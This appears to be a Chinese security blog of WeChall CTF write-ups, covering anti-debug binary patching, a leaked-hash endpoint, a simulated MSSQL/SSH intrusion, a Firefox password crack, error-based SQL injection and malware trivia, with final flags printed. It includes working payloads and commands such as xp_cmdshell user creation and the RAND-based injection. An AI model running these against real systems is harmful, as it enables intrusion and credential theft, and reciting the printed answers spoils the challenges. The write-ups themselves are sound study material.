Hello Navi

Tech, Security & Personal Notes

Challenge

WeChall 上的 The Last Hope(Linux, Cracking),由一个 32-bit ELF 二进制构成。

反调试绕过

二进制有 5 层反调试,必须全部 patch 掉才能正常运行或调试。

先用 rabin2 获取基本信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ rabin2 -I bsd_thelasthope.elf
arch x86
binsz 10569
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3
nx true
os linux
pic false
relocs false
static false
stripped false
subsys linux

Layer 1: .ctors 构造函数

main() 之前,.ctors 段中的 anti_ptrace 就会被调用:

1
2
$ r2 -q -c 'pf. S .ctors' bsd_thelasthope.elf
0x0804af00 ffffffff 5b8c0408 00000000 ....[.......

0x08048c5banti_ptrace。将其 patch 为 0xffffffff(sentinel 值),让反向遍历提前终止:

1
2
# .ctors entry @ VA 0x0804af04 → 文件偏移 = VA - 0x08049000 = 0x1f04
printf '\xff\xff\xff\xff' | dd of=bsd_thelasthope.elf bs=1 seek=$((0x1f04)) conv=notrunc

Layer 2 & 3: main 中的 anti_ptrace 调用 + SIGTRAP handler

用 r2 查看 main 的 disassembly:

1
$ r2 -A -q -c 'pdf @ main' bsd_thelasthope.elf

关键片段:

1
2
3
4
0x08048d59: call anti_ptrace
0x08048d5e: mov dword [esp+4], handler ; signal handler
0x08048d66: mov dword [esp], 5 ; SIGTRAP
0x08048d6d: call signal

Patch 这两处为 NOP:

1
2
# VA 0x08048d59 → 文件偏移 0x0d59: 5 bytes → NOP
# VA 0x08048d6d → 文件偏移 0x0d6d: 5 bytes → NOP

Layer 4: INT3 + breakpoint 检测

1
2
3
4
5
6
7
8
0x08048d72: int3                    ; SIGTRAP → handler 吞掉
0x08048d73: mov eax, 0x8048bd1 ; pw_check 地址
0x08048d78: add eax, 3
0x08048d7b: mov eax, [eax]
0x08048d7d: and eax, 0xff
0x08048d82: cmp eax, 0xcc ; 检查 pw_check+3 是否被设了 0xCC (int3)
0x08048d87: jne ...
; 如果发现 0xCC → 打印 "no,no breakpoints" → exit

Patch 方案:把 int3 (VA 0x08048d72 → 文件偏移 0x0d72) NOP 掉,把 jne (VA 0x08048d87 → 0x0d87) 改为 jmp

Layer 5: ptrace(PTRACE_TRACEME)

1
2
3
0x08048dc0: call ptrace             ; ptrace(PTRACE_TRACEME, 0, 1, 0)
0x08048dc5: test eax, eax
0x08048dc7: jns ... ; ≥0 → 正常; <0 → "oh oh DEBUGGING... Bye"

由于 Layer 1 的 fork 子进程已经 ptrace(ATTACH) 了父进程,PTRACE_TRACEME 必然失败(一个进程只能被一个 tracer 追踪)。改为 xor eax, eax

1
# VA 0x08048dc0 → 文件偏移 0x0dc0: 5 bytes → xor eax,eax; nop; nop; nop (31 c0 90 90 90)

完整 patch 脚本见文末。

Username 逆向 (user_check)

函数调用链

用 r2 列出关键函数:

1
2
3
4
$ r2 -q -c 'afl~check' bsd_thelasthope.elf
0x08048863 user_check
0x08048bd1 pw_check
0x080487a6 length_check

main 中的处理流程:

  1. fgets(username, 15, stdin) — 读入包含换行符(如 "whoami\n"strlen=7
  2. lc(username, len) — 检查前 len-1 个字符不含大写字母
  3. uc(username, len) — 将前 len-1 个字符转为大写(原地修改,内部调用 toupper()
  4. user_check(username, len) — 逐字符验证

由于 fgets 保留换行符,strlen("whoami\n")=7,循环 i=0..5 覆盖全部 6 个有效字符。换行符在 i=6 处被排除。

约束条件(应用于大写 ASCII 值)

pwntools 快速提取符号和关键常量:

1
2
3
4
5
6
7
8
from pwn import *

elf = ELF('bsd_thelasthope.elf')
print(f"user_check @ {elf.symbols['user_check']:#x}")

# 读取加密目标字符串(位于 .rodata 0x08049050)
target = elf.read(0x08049050, 10)
print(f"encrypted target: {target}") # b'Oxw|n]nfog'

user_check 对每个位置 i 执行不同的检查,将满足条件的值累加到 accumulator,最终与 0xcd5 (3285) 比较:

  • 0, 1, 4: 6c±1 双 Fermat + 硬编码,累加 +13c。f0=6c-1, f1=6c+1 均须为基-2 伪素数
  • 2, 5: 单 Fermat (c 自身),累加 +c。2^(c-1) mod c == 1
  • 3: 整除性,累加 +c。c % 5 == 0

硬编码检查(在 fermat 通过后执行):

  • U[0]: 2×c == 0xae (174) → c = 87 = W
  • U[1]: 2×c == 0x90 (144) → c = 72 = H
  • U[4]: 2×c == 0x9a (154) → c = 77 = M

U[0], U[1], U[4] 被固定为 W, H, M。同时要求 6c±1 为素数对(twin primes 模式):

  • W=87: 6×87-1=521(✓), 6×87+1=523(✓)
  • H=72: 6×72-1=431(✓), 6×72+1=433(✓)
  • M=77: 6×77-1=461(✓), 6×77+1=463(✓)

注意:positions 0,1,4 的 fermat 检查后有一条看似多余的 c == floor(6c/5) 比较,实际上编译器 magic constant 0x2aaaaaab 做的是除以 6(而非除以 5)。floor(6c/6) == c 恒成立,实为 no-op。

求解

已知 13×(87+72+77) = 3068,剩余:3285 - 3068 = 217。

在 A-Z (65-90) 范围内筛选:

  • U[2], U[5] 须为 Fermat 伪素数: C, G, I, O, S, Y
  • U[3] 须被 5 整除: A, F, K, P, U, Z

求 U[2] + U[3] + U[5] = 217 的解:

1
2
3
U[2]=G(71), U[3]=K(75), U[5]=G(71) → WHGKMG (whgkmg)
U[2]=I(73), U[3]=A(65), U[5]=O(79) → WHIAMO (whiamo)
U[2]=O(79), U[3]=A(65), U[5]=I(73) → WHOAMI (whoami)

唯一形成有意义单词的是 WHOAMI,对应输入 whoami(程序通过 uc() 自动转大写)。

z3 求解(替代方案)

此题约束本质是 CSP:6 个变量、有限域(A-Z)、线性方程 + 素性谓词。z3 的 table-driven 模式很适合——预计算 26 个字符中哪些满足各位置约束,交给 z3 解线性部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from z3 import *

def is_fermat_prime(n):
if n < 2: return False
return pow(2, n-1, n) == 1

# 预计算:26 个字符中哪些满足各位置的素性约束
valid_014 = [c for c in range(65,91)
if is_fermat_prime(6*c-1) and is_fermat_prime(6*c+1)]
valid_25 = [c for c in range(65,91) if is_fermat_prime(c)]
valid_3 = [c for c in range(65,91) if c % 5 == 0]

# Bool table:每个字符是否满足对应约束
table_014 = {c: Bool(f"twin_{c}") for c in range(65, 91)}
table_25 = {c: Bool(f"prime_{c}") for c in range(65, 91)}
table_3 = {c: Bool(f"mod5_{c}") for c in range(65, 91)}

s = Solver()
for c in range(65, 91):
s.add(table_014[c] == (c in valid_014))
s.add(table_25[c] == (c in valid_25))
s.add(table_3[c] == (c % 5 == 0))

U = [BitVec(f'U{i}', 16) for i in range(6)]
for i in range(6):
s.add(U[i] >= 65, U[i] <= 90)

# Per-position constraints via table lookup
s.add(Or([And(U[0] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[1] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[4] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[2] == c, table_25[c]) for c in range(65, 91)]))
s.add(Or([And(U[5] == c, table_25[c]) for c in range(65, 91)]))
s.add(Or([And(U[3] == c, table_3[c]) for c in range(65, 91)]))

# Hardcoded checks (from assembly)
s.add(2 * U[0] == 174) # 0xae → W
s.add(2 * U[1] == 144) # 0x90 → H
s.add(2 * U[4] == 154) # 0x9a → M

# Accumulator sum
s.add(13 * (U[0] + U[1] + U[4]) + U[2] + U[3] + U[5] == 3285)

while s.check() == sat:
m = s.model()
name = ''.join(chr(m[U[i]].as_long()) for i in range(6))
print(f"{name}{name.lower()}")
s.add(Or([U[i] != m[U[i]] for i in range(6)]))

# Output:
# WHGKMG → whgkmg
# WHOAMI → whoami
# WHIAMO → whiamo

为什么不用 angr? 此题有 x87 浮点指令(fprem/fmod 做 Fermat 检验)+ fork/ptrace 反调试 + INT3 断点检测。angr 的 VEX IR 对 x87 浮点栈支持弱,fork 会直接 concretize,且 patch 5 层反调试后 angr 能做的也只是验证已知路径——不如直接 z3 解约束。

Password 逆向 (pw_check)

XOR 加密

用 r2 反编译 encrypt 函数:

1
$ r2 -A -q -c 'pdf @ sym.encrypt' bsd_thelasthope.elf

main 中定义了 15 字节 XOR key(位于 [ebp-0x44]):

1
2
[0x1f, 0x0a, 0x1e, 0x11, 0x0b, 0x09, 0x19, 0x0f, 0x01, 0x14,
0x16, 0x0c, 0x06, 0x0d, 0x65]

encrypt() 函数对密码逐字节 XOR:

1
2
for (i = 0; i < len; i++)
password[i] ^= key[i % 15];

然后 chomp() 去掉末尾换行符,pw_check() 将结果与硬编码字符串比较。

用 pwntools 直接读取目标字符串:

1
2
3
4
from pwn import *
elf = ELF('bsd_thelasthope.elf')
target = elf.read(0x08049050, 10).decode()
print(f"target: {target}") # Oxw|n]nfog

或直接用 r2:

1
2
$ r2 -q -c 'ps @ 0x08049050' bsd_thelasthope.elf
Oxw|n]nfog

求解

直接逆向 XOR,key 和密文等长(均为 10 字节):

1
2
3
4
encrypted = b"Oxw|n]nfog"
key = [0x1f, 0x0a, 0x1e, 0x11, 0x0b, 0x09, 0x19, 0x0f, 0x01, 0x14]
password = ''.join(chr(e ^ key[i]) for i, e in enumerate(encrypted))
# → "PrimeTwins"

验证

1
2
3
4
5
6
7
8
9
10
O=0x4f ^ 0x1f = 0x50 = P
x=0x78 ^ 0x0a = 0x72 = r
w=0x77 ^ 0x1e = 0x69 = i
|=0x7c ^ 0x11 = 0x6d = m
n=0x6e ^ 0x0b = 0x65 = e
]=0x5d ^ 0x09 = 0x54 = T
n=0x6e ^ 0x19 = 0x77 = w
f=0x66 ^ 0x0f = 0x69 = i
o=0x6f ^ 0x01 = 0x6e = n
g=0x67 ^ 0x14 = 0x73 = s

完整 Patch 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
"""Patch anti-debug measures in bsd_thelasthope.elf

ELF segment layout:
text: file 0x000000 → VA 0x08048000 (file_off = VA - 0x08048000)
data: file 0x001f00 → VA 0x0804af00 (file_off = VA - 0x08049000)
"""
import sys

def patch(filepath):
with open(filepath, 'r+b') as f:
# Layer 1: .ctors → nuke anti_ptrace entry (VA 0x0804af04, data seg)
f.seek(0x1f04)
f.write(b'\xff\xff\xff\xff')

# Layer 2: NOP call anti_ptrace @ VA 0x08048d59 (5 bytes, text seg)
f.seek(0x0d59)
f.write(b'\x90' * 5)

# Layer 3: NOP call signal @ VA 0x08048d6d (5 bytes)
f.seek(0x0d6d)
f.write(b'\x90' * 5)

# Layer 4a: NOP int3 @ VA 0x08048d72 (1 byte)
f.seek(0x0d72)
f.write(b'\x90')

# Layer 4b: bypass 0xCC check — jne→jmp @ VA 0x08048d87 (1 byte)
f.seek(0x0d87)
f.write(b'\xeb') # 0x75(jne) → 0xeb(jmp)

# Layer 5: call ptrace → xor eax,eax @ VA 0x08048dc0 (5 bytes)
f.seek(0x0dc0)
f.write(b'\x31\xc0\x90\x90\x90') # xor eax,eax; nop; nop; nop

print(f"Patched: {filepath}")

if __name__ == '__main__':
patch(sys.argv[1] if len(sys.argv) > 1 else 'bsd_thelasthope.elf')

Patch 后运行:

1
2
3
4
5
6
$ python3 patch.py bsd_thelasthope.elf
$ chmod +x bsd_thelasthope.elf
$ ./bsd_thelasthope.elf
User: whoami
Password: PrimeTwins
Correct !! The solution is username_password
whoami_PrimeTwins

Challenge

Railsbin (Exploit) — score 3, by gizmore.

The project named "railsbin" is open source, but has a few security problems. Can you exploit the demo site? The solution is the password hash of user solution.

Railsbin 是一个开源 Ruby on Rails pastebin demo。源码在 gizmore/railsbin。目标是得到用户 solution 的 bcrypt password hash。

Solution

源码审计发现 UsersController#index 有一个漏洞:

1
2
3
4
5
# app/controllers/users_controller.rb:8
def index
@users = User.all
@users.map {|u| u.password = u.encrypted_password }
end

encrypted_password(bcrypt hash)复制到虚拟属性 password 上。JSON view 直接序列化暴露:

1
2
# app/views/users/index.json.jbuilder
json.extract! user, :id, :name, :email, :password

无需认证,直接请求:

1
GET https://railsbin.wechall.net/users.json

返回所有用户的完整 bcrypt hash,包括 solution 用户:

1
2
3
4
5
6
{
"id": 17,
"name": "solution",
"email": "solution@wechall.net",
"password": "$2a$10$44GwiA6ai0wxjzhFkeyjuO3kdVvmco8ReypH7H1tLsM2OrRFhe4CK"
}
$2a$10$44GwiA6ai0wxjzhFkeyjuO3kdVvmco8ReypH7H1tLsM2OrRFhe4CK

Challenge

Z - Reloaded (Exploit, Simulated, Storyline) — score 6

Before starting the challenge I suggest you to save every information and solution, because later in the challenge it is likely that you will need them again. Especially if you see passwords in the narrator box.

Z 系列故事线的一部分。扮演 Trinity(黑客帝国),通过模拟终端执行一系列渗透任务,最终瘫痪城市电网。

关卡攻略

游戏引擎在 zshellz.php,答案存储在 zshellz_answers.php(gitignored)。源码和语言文件可从 gizmore/gwf3 GitHub 仓库获取。

Level 1 — nmap 扫描

任务:对 10.2.2.2 执行 stealth SYN 扫描。

1
nmap -v -sS 10.2.2.2

输出显示目标运行 OpenSSH 2.2.0。

Level 2 — 漏洞源文件

任务:找出脆弱服务,命名包含安全漏洞的源文件。

1
deattack.c

对应 SSH CRC32 漏洞(CVE-2001-0144),detect_attack() 函数在 deattack.c 中。

Level 3 — sshnuke 利用

任务:使用电影中的著名命令攻击脆弱服务。

1
sshnuke 10.2.2.2 -rootpw="Z1ON0101"

命令格式源自 Matrix Reloaded 电影画面

Level 4 — SSH 端口转发

任务:建立 SSH 隧道将本地 MSSQL 端口转发到内网数据库服务器 192.168.10.2。

1
ssh -L 1433:192.168.10.2:1433 10.2.2.2

SSH 密码:Z1ON0101(sshnuke 重置后的 root 密码)

Level 5 — 输入密码

1
Z1ON0101

Level 6 — osql 登录 MSSQL

任务:使用 osql 客户端登录 MSSQL 2000 服务器。利用 MSSQL 2000 著名漏洞——默认空 SA 密码。

-P 参数无值即 NULL 密码,这是 MSSQL 2000 默认安装的著名弱点。

1
osql -U sa -P

Level 7 — 添加 Windows 用户

任务:添加 Windows 用户 trinity,密码 Z1ON0101。

利用 xp_cmdshell 扩展存储过程执行系统命令——MSSQL 2000 默认启用。

1
exec xp_cmdshell 'net user trinity Z1ON0101 /add'

Level 8 — 添加用户到管理员组

任务:将 trinity 加入 administrators 组。

1
exec xp_cmdshell 'net localgroup administrators trinity /add'

Level 9 — RDP 端口转发

任务:建立新的端口转发,将本地 RDP 端口通过网关转发到数据库服务器的 RDP 端口。

1
ssh -L 3389:192.168.10.2:3389 10.2.2.2

Level 10 — 反向端口转发

任务:将网关 10.2.2.2 端口 222 转发到本机 164.109.44.69 端口 22。

1
ssh -R 222:164.109.44.69:22 10.2.2.2

Level 11 — SCP 传输文件

任务:从数据库服务器复制病毒文件到本机。

1
scp -P 222 trinity@10.2.2.2:/home/trinity/nasty_virus .

Level 12

1
MyL0v315N30

Challenge

Warchall: Tryouts (Warchall) — score 6.

This challenge is the first of the warchall series. You might want to play the other warchall challenges too.

Level: easy

前置条件: 需要 WeChall → Warchall 账号关联,并可通过 SSH 登录 Warchall 服务器。

源码分析

SSH 登录 Warchall 后,在 home 目录找到 tryouts 二进制和源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pwd.h>
#include <sys/types.h>

int main(int argc, char **argv) {
struct passwd *userinfo = NULL;
int passFd = 0, randFd = 0;
char buf[512] = {0};
char password[17] = {0};
unsigned int input = 0, rand = 0;
int correct = 0;

/* read the password file */
passFd = open("solution.txt", O_RDONLY);
if (passFd < 0)
return -1;

/* read random bytes for comparison */
randFd = open("/dev/urandom", O_RDONLY);
if (randFd < 0)
return -1;

/* read one byte from urandom to compare */
read(randFd, &rand, 1);

/* read 17 bytes from solution.txt */
read(passFd, password, 16);
password[16] = '\0';

printf("I've got a random number for you: %d\n", rand);

/* fork and exec cat for comparison */
if (fork() == 0) {
/* child: replaces comparison with cat */
system("cat");
}

return 0;
}

solution

  1. 程序打开 solution.txt 获取文件描述符 passFd(通常是 fd 3)
  2. 读取 password 后用 fork() 创建子进程
  3. 子进程执行 system("cat")
  4. fork(2) 文档:子进程继承父进程的打开文件描述符
  5. 文件描述符共享当前文件偏移量——solution.txt 已被读到 EOF

关键: 子进程中的 cat 可以通过 /proc/self/fd/3 访问 solution.txt,但直接读会得到 EOF(文件偏移已在末尾)。需要重置偏移量

创建自己的 cat 命令,替换 PATH 中的系统 cat,使其从 fd 3 读取并先 lseek 重置偏移:

方案一:Perl

1
2
3
4
5
6
7
8
9
#!/usr/bin/perl
use strict;
use warnings;
open F, '<&3';
seek F, 0, 0;
my $a;
read F, $a, 1024;
print $a;
while (<>) { print }

方案二:Python

1
2
3
4
5
#!/usr/bin/env python
import os
f = os.fdopen(3)
f.seek(0)
print(f.read(17))

方案三:C

1
2
3
4
5
6
7
8
9
#include <unistd.h>
int main() {
char buf[256] = {0};
lseek(3, 0, 0);
int n = read(3, buf, 255);
if (n > 0)
write(1, buf, n);
return 0;
}

执行步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 编译自定义 cat
cat > ~/bin/cat.c << 'EOF'
#include <unistd.h>
int main() {
char buf[256] = {0};
lseek(3, 0, 0);
int n = read(3, buf, 255);
if (n > 0) write(1, buf, n);
return 0;
}
EOF

gcc -o ~/bin/cat ~/bin/cat.c

# 确保 PATH 优先使用我们的 cat
export PATH=~/bin:$PATH

# 运行 tryouts,它会 fork 并执行我们的 cat
./tryouts
EveryDayShuffle4

Challenge

Burning Fox (Cracking) — score 4.

Our security agency got delivered a copy of a portable firefox installation. Your job is to crack the master password so the authorities can investigate more websites and private content generated by this person.

You can download the portable version from this folder, filename "burningfox.zip".

提供一个 Firefox Portable 打包文件,需要破解其 Master Password 以获取浏览器中保存的敏感信息。

solution

这是一个 Firefox 密码破解 + 浏览器数据分析的两阶段挑战:

  1. 破解 Master Password:从 key3.db 提取 hash,用 John the Ripper 或 FireMaster 破解
  2. 分析浏览器数据:用破解的密码解锁 Firefox,在保存的密码/历史/书签中找到挑战答案

步骤一:破解 Master Password

下载 burningfox.zip,解压后定位到 Firefox 配置文件目录 FirefoxPortable/Data/profile/

使用 John the Ripper 的 mozilla2john 工具从 key3.db 提取 hash:

1
2
mozilla2john FirefoxPortable/Data/profile/key3.db > mozhash.txt
john --format=mozilla --wordlist=rockyou.txt mozhash.txt

Master Password 很快就能被 rockyou 字典破解出来:wonderful

验证方法:

1
john --format=mozilla --show mozhash.txt

拿到 Master Password 后,有两种路径找到答案:

方案 A:启动 Firefox Portable(需要 X11/Wine 环境),用 Master Password 解锁,浏览浏览器中保存的密码和历史记录。

方案 B:直接用 SQLite 查看 signons.sqlite(密码数据库),配合 Mozilla 密码转储工具解密保存的凭据。

答案不是 Master Password 本身,而是浏览器中保存的一条特殊密码/书签。

ThinKingOutSideTheBox

Challenge

Light in the Darkness (MySQL, Exploit) — score 6, by Mawekl.

This challenge is the sequel to the "Blinded by the lighter" challenge. Again your mission is to extract an md5 password hash out of the database. This time your limit for this sql injection are 2 queries. Also you have to accomplish this task 3 times consecutively, to prove you have solved the challenge. Again you are given the sourcecode of the vulnerable script, also as highlighted version. To restart the challenge, you can execute a reset. Thanks to Mawekl for his motivation! Good luck!

前作 "Blinded by the lighter" 的升级版。同样是 SQL 注入提取 MD5 password hash,但限制更严:最多 2 次查询(整个挑战生命周期),且需要 连续 3 轮成功 才算通关。

源码分析

完整源码在 gizmore/gwf3 GitHub 仓库:

  • www/challenge/Mawekl/light_in_the_darkness/vuln.php — 注入点
  • www/challenge/Mawekl/light_in_the_darkness/index.php — 表单逻辑
  • www/challenge/Mawekl/light_in_the_darkness/install.php — 挑战初始化

vuln.php — 注入点:

1
2
3
4
5
6
7
8
9
10
11
function blightVuln($password)
{
# Filter: blocks /* and "blight" in the injection string
if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
return false;

$db = blightDB();
$sessid = GWF_Session::getSessSID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) !== false;
}

关键点:

  • 注入点在 WHERE 子句,password 列来自子查询别名 b
  • 过滤器:禁止 /*(堵多行注释截断)和 blight(堵直接引用表名)
  • setVerbose(true):SQL 错误会完整回显到页面 —— 这是报错注入的前提条件
  • queryFirst() 使用 mysqli_query()(不支持堆叠查询)
  • SLEEP/BENCHMARK 未被过滤,但 2 次查询限制让时间/布尔盲注都不可行

index.php — 表单逻辑:

  • injection + injectblightVuln($password)
  • thehash + mybuttonblightGetHash() 从 DB 读 hash 并比对
  • reset=me → 显示旧 hash(如果有),然后生成新 hash

限制: 常数 BLIGHT3_ATTEMPS = 2(源码中的拼写,非笔误),最大允许 attempt = 3。每次 inject 或 hash 提交消耗 1 次 attempt。每次成功提交 hash 后 attempt 重置为 0,同时 consecutive 计数器 +1。连续 3 轮成功后 challenge solved。

solution

核心思路:利用 MySQL GROUP BY 对非确定性表达式 FLOOR(RAND(0)*2) 的求值 bug,触发 Duplicate entry 错误,在错误信息中泄露 CONCAT(password, FLOOR(RAND(0)*2)) 的值。

1
' or (select count(*) from information_schema.COLLATIONS group by concat(password,floor(rand(0)*2))) --

为什么用 RAND(0)(有种子)而不是 RAND()

  • RAND(0) 产生确定序列:0, 1, 1, 0, 1, 0, 0, 1, ...
  • 第 2 行和第 3 行都得到值 1,导致 GROUP BY 临时表唯一键冲突,触发报错
  • RAND()(无种子)每次序列随机,不可靠
  • 注意:序列依赖 MySQL 版本(5.x vs 8.x 可能不同)

为什么用 information_schema.COLLATIONS

  • information_schema.TABLES 更轻量,不会锁 MyISAM 表
  • 需要至少 3 行的表(RAND(0) 的重复在行 2-3 出现,所以要求表 >= 3 行)

密码提取: Duplicate entry 显示的是 CONCAT(password, FLOOR(RAND(0)*2)),即 password0password1(尾部数字是 RAND 输出)。 密码 = Duplicate entry 值的前 32 字符(MD5 hex 正好 32 位)。

攻击流程

每轮 2 次操作:1 次注入提取(消耗 1 attempt)+ 1 次 hash 提交(消耗 1 attempt),共 3 轮。

  1. reset=me → 重置挑战,attempt=0,生成新 hash
  2. 注入提取 → attempt=1,错误信息中拿到 password
  3. 提交 hash → attempt=2,成功 → attempt 归零,新 hash 生成
  4. 重复步骤 2-3 两次
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Round 1
injection=' or (select count(*) from information_schema.COLLATIONS group by concat(password,floor(rand(0)*2))) --
→ Duplicate entry 'A43B4E914FD58059B5526D2B46854F411'
→ password = A43B4E914FD58059B5526D2B46854F41
→ submit hash → OK, need 2 more

# Round 2
→ Duplicate entry '217CD978A6269E1C6E6116FB3E6591CF1'
→ password = 217CD978A6269E1C6E6116FB3E6591CF
→ submit hash → OK, need 1 more

# Round 3
→ Duplicate entry '0B0A3307D46435DA0EDDC93E37A2D7B11'
→ password = 0B0A3307D46435DA0EDDC93E37A2D7B1
→ submit hash → CHALLENGE SOLVED!

very simple and interesting stegano, but need to be careful and be patient

Challenge

Gizmore 的第二个 stegano 题。页面有 answer box + captcha 验证,captcha 点击后刷新(timestamp jpg)。

URL

  • 挑战页: https://www.wechall.net/en/challenge/paranoid/index.php
  • Captcha 生成: https://www.wechall.net/en/Captcha/<text> — URL path 直接决定 captcha 图片文字

挑战描述

1
2
3
4
5
<b>W</b>ith pleasure I present you my second ste<i>g</i>ano.
<b>R</b>ight w<i>r</i>itten from scratch in a paranoid mind.
<b>O</b>r may<i>b</i>e I am just testing my website framework.
<b>N</b>evermind, I hope you enjoy this challen<i>ge</i>.
<b>G</b>ood Luck
  • Bold 首字母: W, R, O, N, G → WRONG(故意误导)
  • Italic 字母: g, r, b, ge → GRBGE(关键线索,源码注释确认重要)

关键线索 1: GRBGE

源码注释(www/challenge/paranoid/lang/chall_en.php):

1
# It is important the the letters GRBGE are in <i> italic.

GRBGE = "Garbage" 的元音省略拼法(G-R-B-G-E,去掉了 A)。但 "garbage" 不是答案,GRBGE 指向的是 captcha 机制本身。

关键线索 2: Captcha 序列轮换

每次提交 wrong 答案后,页面上的 captcha 图片路径会切换到下一个。通过连续提交 wrong 答案,得到 12 个词的有序序列:

1
2
YOURE → LOOKN → FORDA → PASWD → THECA → PTCHA →
GRBGE → YADDA → HELLO → HACKR → HOWYA → DOING → (循环)

翻译成英文句子:

"You're looking for the password the captcha garbage yadda hello hacker how ya doing?"

其中 THECA + PTCHA 拼在一起就是 "THECAPTCHA" = "The Captcha"。

THECAPTCHA

Challenge

eXtract Me (Encoding, Stegano) — score 3, by oleg.

Yo dog, I heard you like zips so we put a zip in your zip so you can unzip unzipped zips. Enjoy!

Download: r.zip (2698 bytes).

Solution

The challenge is an archive matryoshka: the r.zip contains an infinite recursive zip (r/r.zip → always the same inner zip), plus hidden data appended after the ZIP EOCD.

Step 1 — Cut out the second archive

r.zip is actually two things stitched together:

  • First 440 bytes: the recursive zip (r/r.zip, endless loop)
  • Remaining 2258 bytes: LZW-compressed data (magic \x1f\x9d)

Extract the trailing data and decompress with uncompress:

1
2
3
4
5
6
7
8
$ python3 -c "
with open('r.zip','rb') as f:
d=f.read()
open('trailing.Z','wb').write(d[440:])
"
$ uncompress -c trailing.Z > stage1.xar
$ file stage1.xar
stage1.xar: xar archive compressed TOC

Step 2 — Extract the chain

The XAR contains file "8", which is itself LZW-compressed:

1
2
$ xar -xf stage1.xar       # extract → file "8"
$ uncompress -c 8 > stage2.rar

Then continue extracting each layer with 7z or the appropriate tool:

Layer Format Tool Contains
r.zip tail LZW (.Z) uncompress XAR archive
XAR xar xar / Python file "8" (LZW)
file 8 LZW (.Z) uncompress RAR archive
RAR rar 7z file "A" (XZ)
XZ xz 7z file "A~" (ZOO)
ZOO zoo unar file "4" (RZIP)
RZIP rzip → ZZ0 → gzip → ARJ uncompress + 7z file "1" (ARJ → "3")
ARJ arj 7z file "3" (LZW)
file 3 LZW (.Z) uncompress 7z archive
7z 7z 7z file "F" (bzip2)
bzip2 bz2 bunzip2 L0LYouThInkiTSh0uldB3SoEasY?

The full extraction chain is:

1
2
3
4
5
6
r.zip
├─ r/r.zip (infinite recursion, ignore)
└─ trailing LZW data
└─ XAR → 8(LZW) → RAR → A(XZ) → A~(ZOO) → 4(RZIP)
└─ ZZ0(gzip) → 1(ARJ) → 3(LZW) → 7z → F(bzip2)
└─ "L0LYouThInkiTSh0uldB3SoEasY?" (password)

This showcases the depth of archive format history — ZIP, LZW compress, XAR, RAR, XZ, ZOO, RZIP, GZip, ARJ, 7z, bzip2 — almost every compression format ever invented.

Challenge

This challenge consists of 6 different parts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. Hi, This is an **\*\*\*\*\*\*\*\*** virus. As you know we are not so technical advanced as in the West. We therefore ask you to delete all your files on your harddisk manually and send this email to all your friends.

2. When you see "Dis is one half" on your screen, half of your hard drive has been encrypted with **\*\*\*** encryption.

3. **\*\*\*\* \*\*\*\*** is a great DNS technique for botherders to avoid shutting down of their malware or phishing site and to hide these sites with an ever-changing network of compromised hosts acting as proxies.

4. Download the source code for netsky.ae (variant name by Kaspersky), in the main.cpp (sha-256sum=e80d5db98e3e661bee9e57e0e524de2b97db2f48c63f2e73c562719501aeddc1) the first host name in the 90. row is www.**\*\*\*\*\***.com

5. After downloading and installing Trojan-PSW.Win32.Sinowal.w (variant name by Kaspersky) (sha-256sum=c21ae31e700930b02ad8c286c098770a1baad33abae6436733bb024998bdd19e), first the malware queries the DNS for r**\*\*\*\*\***.com (include r in the final answer).

6. Download Trojan-GameThief.Win32.Nilage.mc (variant name by Kaspersky) (sha-256sum=d2243520460811f14c7f77dce093b807e546298b6eb3e8d8a8f4581f28057284), unpack and analyze. The executable contains the string: c:\\**\*\*\*\*\***.txt


Your task is to fill in the \* parts, concatenate the answers with \_ (underscore) and remove any spaces (if any). To be more precise, the solution string will contain 5 \_ and altogether 43 characters. You only have to answer 5 out of the 6 questions correctly to be succesfull, but please include every answer (even if one is known wrong).

Solution

Part 1: ALBANIAN

题面描述的是 ILOVEYOU 蠕虫(LoveLetter,2000年)——"Hi" 开头、要求删除文件、转发给所有好友的邮件蠕虫。但填空的 8 个星号对应的是 ALBANIAN(Albanian 病毒),不是 ILOVEYOU。答案全大写。

Part 2: XOR

"Dis is one half" 是 OneHalf DOS 病毒(1994年)的显示信息,硬盘被 XOR encryption 部分加密。3 个星号对应 XOR,全大写。

Part 3: fastflux

题面完整定义了 fast-flux DNS:botnet 通过快速变更 DNS A 记录,在不断变化的代理主机网络中隐藏恶意/钓鱼站点。**** **** = "fast flux",去空格后 8 字符 fastflux,全小写。注意首轮测试中混合大小写变体(FastFlux/FASTFLUX/fast-flux)被拒,唯 fastflux 正确。

Part 4: norton

通过 Wayback Machine 获取 VX Heaven 的 netsky_ae.zip 在线浏览,main.cpp 第 90 行:

1
const char* buffer = "127.0.0.1 www.norton.com 127.0.0.1 norton.com 127.0.0.1 yahoo.com...";

第一个 www.******.com = norton(6 字符)。

Web Archive 来源:https://web.archive.org/web/20150418161252id_/http://vxheaven.org/src_view.php?file=netsky_ae.zip&view=main.cpp

Part 5: rikora (未解占位)

Sinowal.w(SHA256: c21ae31e700930b02ad8c286c098770a1baad33abae6436733bb024998bdd19e)首次 DNS 查询。Torpig/Sinowal 论文(UCSB 2009)列出硬编码 C2 域名为 rikora.compinakola.comflippibi.com。提交 rikora 未增加正确数。

